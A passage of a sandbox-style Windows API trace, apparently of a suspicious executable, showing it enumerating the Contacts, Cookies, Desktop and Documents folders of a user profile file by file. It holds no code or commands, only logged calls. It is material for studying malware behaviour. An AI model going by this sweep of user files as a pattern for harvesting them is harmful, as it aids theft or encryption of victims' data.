lpMsg=0x825fb74) returned 0 [0111.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0111.658] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.658] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.658] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.658] PathFindFileNameW (pszPath="") returned="" [0111.658] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.658] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.658] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0111.658] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0111.658] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0111.658] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0111.658] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0111.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0111.659] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0111.659] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.659] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0111.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.659] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.659] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.659] PathFindFileNameW (pszPath="") returned="" [0111.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0111.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.659] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.659] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0111.659] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.659] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.660] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.660] PathFindFileNameW (pszPath="") returned="" [0111.660] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa26f0e00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa26f0e00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.660] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa26f0e00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa26f0e00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308fb200, ftCreationTime.dwHighDateTime=0x1d4c92a, ftLastAccessTime.dwLowDateTime=0x9c93a00, ftLastAccessTime.dwHighDateTime=0x1d4cd4f, ftLastWriteTime.dwLowDateTime=0x9c93a00, ftLastWriteTime.dwHighDateTime=0x1d4cd4f, nFileSizeHigh=0x0, nFileSizeLow=0x10281, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0NTmu.pdf", cAlternateFileName="")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadf0f20, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xe6ea9a30, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0xe6ea9a30, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0sRxa0kL_.flv", cAlternateFileName="0SRXA0~1.FLV")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97018480, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0x97018480, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9668ee00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x72200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9DC6.tmp.exe", cAlternateFileName="9DC6TM~1.EXE")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f87cb0, ftCreationTime.dwHighDateTime=0x1d4c810, ftLastAccessTime.dwLowDateTime=0x12f326a0, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x12f326a0, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0xf9ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B7UgNIfW.swf", cAlternateFileName="")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4498c320, ftCreationTime.dwHighDateTime=0x1d4cb3e, ftLastAccessTime.dwLowDateTime=0x24783a80, ftLastAccessTime.dwHighDateTime=0x1d4c558, ftLastWriteTime.dwLowDateTime=0x24783a80, ftLastWriteTime.dwHighDateTime=0x1d4c558, nFileSizeHigh=0x0, nFileSizeLow=0x3ef2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOm6MV3rA.png", cAlternateFileName="BOM6MV~1.PNG")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6c7e470, ftCreationTime.dwHighDateTime=0x1d4cfe6, ftLastAccessTime.dwLowDateTime=0xfbab38e0, ftLastAccessTime.dwHighDateTime=0x1d4cf76, ftLastWriteTime.dwLowDateTime=0xfbab38e0, ftLastWriteTime.dwHighDateTime=0x1d4cf76, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c4 j8.swf", cAlternateFileName="C4J8~1.SWF")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b0eab0, ftCreationTime.dwHighDateTime=0x1d4d237, ftLastAccessTime.dwLowDateTime=0x65516750, ftLastAccessTime.dwHighDateTime=0x1d4c974, ftLastWriteTime.dwLowDateTime=0x65516750, ftLastWriteTime.dwHighDateTime=0x1d4c974, nFileSizeHigh=0x0, nFileSizeLow=0x1014a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D 65.bmp", cAlternateFileName="D65~1.BMP")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb050ce0, ftCreationTime.dwHighDateTime=0x1d4cbfe, ftLastAccessTime.dwLowDateTime=0xce740f60, ftLastAccessTime.dwHighDateTime=0x1d4d33f, ftLastWriteTime.dwLowDateTime=0xce740f60, ftLastWriteTime.dwHighDateTime=0x1d4d33f, nFileSizeHigh=0x0, nFileSizeLow=0x8d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e6-BA 49wurXcsu-1.mp3", cAlternateFileName="E6-BA4~1.MP3")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ddff50, ftCreationTime.dwHighDateTime=0x1d4d374, ftLastAccessTime.dwLowDateTime=0x568e4ed0, ftLastAccessTime.dwHighDateTime=0x1d4d23a, ftLastWriteTime.dwLowDateTime=0x568e4ed0, ftLastWriteTime.dwHighDateTime=0x1d4d23a, nFileSizeHigh=0x0, nFileSizeLow=0xc9c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FVqwxtFUoI.ots", cAlternateFileName="FVQWXT~1.OTS")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ec8dbb0, ftCreationTime.dwHighDateTime=0x1d4c9c7, ftLastAccessTime.dwLowDateTime=0xdc958d40, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xdc958d40, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f_-8oBARRP9-U", cAlternateFileName="F_-8OB~1")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375260, ftCreationTime.dwHighDateTime=0x1d4c971, ftLastAccessTime.dwLowDateTime=0x48ee3250, ftLastAccessTime.dwHighDateTime=0x1d4cea6, ftLastWriteTime.dwLowDateTime=0x48ee3250, ftLastWriteTime.dwHighDateTime=0x1d4cea6, nFileSizeHigh=0x0, nFileSizeLow=0xabb1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g3SB3fjz.wav", cAlternateFileName="")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76604f0, ftCreationTime.dwHighDateTime=0x1d4c7eb, ftLastAccessTime.dwLowDateTime=0x42e0c920, ftLastAccessTime.dwHighDateTime=0x1d4d100, ftLastWriteTime.dwLowDateTime=0x42e0c920, ftLastWriteTime.dwHighDateTime=0x1d4d100, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gnmre2J_Zh T.odt", cAlternateFileName="GNMRE2~1.ODT")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3e9870, ftCreationTime.dwHighDateTime=0x1d4c69a, ftLastAccessTime.dwLowDateTime=0x1ccb4850, ftLastAccessTime.dwHighDateTime=0x1d4d209, ftLastWriteTime.dwLowDateTime=0x1ccb4850, ftLastWriteTime.dwHighDateTime=0x1d4d209, nFileSizeHigh=0x0, nFileSizeLow=0xfe0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GOG573ZY8rfBlY-.wav", cAlternateFileName="GOG573~1.WAV")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c3d1180, ftCreationTime.dwHighDateTime=0x1d4c824, ftLastAccessTime.dwLowDateTime=0x367e3ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0x367e3ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JiLyW4X cG7WzlVAVa", cAlternateFileName="JILYW4~1")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a34f50, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x271a4890, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x271a4890, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j_8df4HNVB0C0RCpZ-GV", cAlternateFileName="J_8DF4~1")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e276630, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0xe3297a30, ftLastAccessTime.dwHighDateTime=0x1d4d2ef, ftLastWriteTime.dwLowDateTime=0xe3297a30, ftLastWriteTime.dwHighDateTime=0x1d4d2ef, nFileSizeHigh=0x0, nFileSizeLow=0x4acd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pXJT.gif", cAlternateFileName="")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1a7880, ftCreationTime.dwHighDateTime=0x1d4c67b, ftLastAccessTime.dwLowDateTime=0x94b103c0, ftLastAccessTime.dwHighDateTime=0x1d4cb09, ftLastWriteTime.dwLowDateTime=0x94b103c0, ftLastWriteTime.dwHighDateTime=0x1d4cb09, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UnO 907l.wav", cAlternateFileName="UNO907~1.WAV")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccd1c1c0, ftCreationTime.dwHighDateTime=0x1d4c912, ftLastAccessTime.dwLowDateTime=0xd4d4f50, ftLastAccessTime.dwHighDateTime=0x1d4d23f, ftLastWriteTime.dwLowDateTime=0xd4d4f50, ftLastWriteTime.dwHighDateTime=0x1d4d23f, nFileSizeHigh=0x0, nFileSizeLow=0x10594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTYb2gnV5j Zsu.gif", cAlternateFileName="UTYB2G~1.GIF")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b9f420, ftCreationTime.dwHighDateTime=0x1d4c759, ftLastAccessTime.dwLowDateTime=0x364cfa0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x364cfa0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0xa170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wdgP96 SXmW.mp4", cAlternateFileName="WDGP96~1.MP4")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795939c0, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0x8237f5a0, ftLastAccessTime.dwHighDateTime=0x1d4d202, ftLastWriteTime.dwLowDateTime=0x8237f5a0, ftLastWriteTime.dwHighDateTime=0x1d4d202, nFileSizeHigh=0x0, nFileSizeLow=0xeb0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="woEaiFw4PYk9uPU.xlsx", cAlternateFileName="WOEAIF~1.XLS")) returned 1 [0111.660] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4db0320, ftCreationTime.dwHighDateTime=0x1d4d52b, ftLastAccessTime.dwLowDateTime=0xe5c6f5d0, ftLastAccessTime.dwHighDateTime=0x1d4d199, ftLastWriteTime.dwLowDateTime=0xe5c6f5d0, ftLastWriteTime.dwHighDateTime=0x1d4d199, nFileSizeHigh=0x0, nFileSizeLow=0x18dfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_0VDVX.pdf", cAlternateFileName="")) returned 1 [0111.661] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4db0320, ftCreationTime.dwHighDateTime=0x1d4d52b, ftLastAccessTime.dwLowDateTime=0xe5c6f5d0, ftLastAccessTime.dwHighDateTime=0x1d4d199, ftLastWriteTime.dwLowDateTime=0xe5c6f5d0, ftLastWriteTime.dwHighDateTime=0x1d4d199, nFileSizeHigh=0x0, nFileSizeLow=0x18dfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_0VDVX.pdf", cAlternateFileName="")) returned 0 [0111.661] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.661] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.661] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.661] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.661] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.661] PathFindFileNameW (pszPath="") returned="" [0111.661] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9be34600, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9be34600, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.661] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.661] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9be34600, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9be34600, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 